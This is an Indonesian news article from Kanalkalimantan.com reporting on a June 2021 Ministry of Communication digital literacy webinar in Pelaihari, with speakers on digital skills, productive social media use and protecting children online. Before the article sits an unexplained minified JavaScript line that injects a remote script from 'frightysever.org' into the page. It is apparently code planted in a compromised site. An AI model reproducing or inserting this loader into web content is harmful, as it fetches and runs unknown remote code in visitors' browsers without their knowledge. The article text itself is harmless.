(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kick Off Webinar Literasi Digital di Pelaihari, Pentingnya Bersosialisasi di Ruang Digital!

KANALKALIMANTAN.COM, PELAIHARI- Webinar Literasi Digital sesi pertama berlangsung di Pelaihari, Kabupaten Tanah Laut, Jumat (18/6/2021). Kali ini, program yang dibidani Kementerian Komunikasi dan Informasi ini mengambil topik ‘Bersosialisasi di Ruang Digital.’

Acara menghadirkan narasumber Gozy, S.M – Staf Borneo Koding, Arief Susanto – CoFounder & CEO PT Kreasi Raya Dus Dus Duk Group, Muhammad Saman – Duta Wisata Kalsel, Frisha Yuliani – Conten Creator and Enterpreuner dan key opinion leader (KOL), dan Frisha Yuliani seorang konten kreator dan enterpreuner.

Kegiatan yang dihadiri lebih dari 600 peserta secara online ini merupakan bagian dari Program Literasi Digital Nasional : Indonesia Makin Cakap Digital, yang telah dicanangkan oleh Presiden RI, Joko Widodo pada 20 Mei 2021 lalu.

Masing-masing narasumber menyampaikan materi dari sudut pandang empat pilar utama Literasi Digital yaitu Budaya Bermedia Digital (Digital Culture), Aman Bermedia (Digital Safety), Etis Bermedia Digital (Digital Ethics), dan Cakap Bermedia Digital (Digital Skills).

Dalam paparanya Arief Susanto selaku CoFounder & CEO PT Kreasi Raya Dus Dus Duk Group, bahwa selama pandemi Covid-19 betapa pentingnya meningkatkan kemampuan digital skill dalam bermedia sosial.

“Harapannya adalah dengan meningkatkan digital skill yang mana juga harapan pemerintah kita dapat membuat konten-konten kreatif, yang baik dan yang gak cuma viral yang pada akhirnya akan menunjang kemampuan-kemampuan penggunanya” ungkap pengusaha milenial asal Surabaya ini.

Di sesi lain narasumber asli putra banua, Gozy, S M selaku Staf Borneo Koding menyampaikan bagaimana pentingnya mengubah ‘mindset digital’ dari perilaku konsumtif menjadi lebih produktif.

“Dalam media sosial ada banyak (platform atau aplikasi) yang digunakan contoh ada Instagram, Facebook, Youtube, Tinder dan Tik Tok. Kita memilih menggunakan apa yang kita mau dengan memfollow akun artis dan sebagainya. Nah ini yang harus kita ubah dengan menggunakannya untuk hal yang produktif,” pungkasnya.

Dalam webinar kali ini juga menghadirkan Frisha Yuliani seorang konten kreator dan enterpreuner yang berbagi kepada peserta bagaimana melindungi anak-anak dari bahaya di dunia internet.

“Saya sebagai orang tua tidak pernah mengekang anak saya, saya mensupport anak saya dan memberikan nasihat agar dia mengerti kapan harus info dulu sama orang tua dan kapan dia bisa langsung open gadgetnya. Jadi ada akses – akses yang bisa kita berikan kepada anak jadi gak semua” ujar Frisha.

Di Wilayah Kabupaten Tanah Laut, Kementerian Komunikasi dan Informatika RI (Kemkominfo RI) akan menyelenggarakan berbagai kegiatan Webinar Literasi Digital : Indonesia Makin Cakap Digital selama periode Mei hingga Desember 2021. Kegiatan Webinar Literasi Digital ini bertujuan untuk mendukung percepatan transformasi digital, agar masyarakat makin cakap digital dalam memanfaatkan internet demi menunjang kemajuan bangsa.

Masyarakat dapat terus memperoleh berbagai materi pelatihan literasi digital di akun media sosial @siberkreasi.(Kanalkalimantan.com/kk)

Reporter: kk
Editor: cell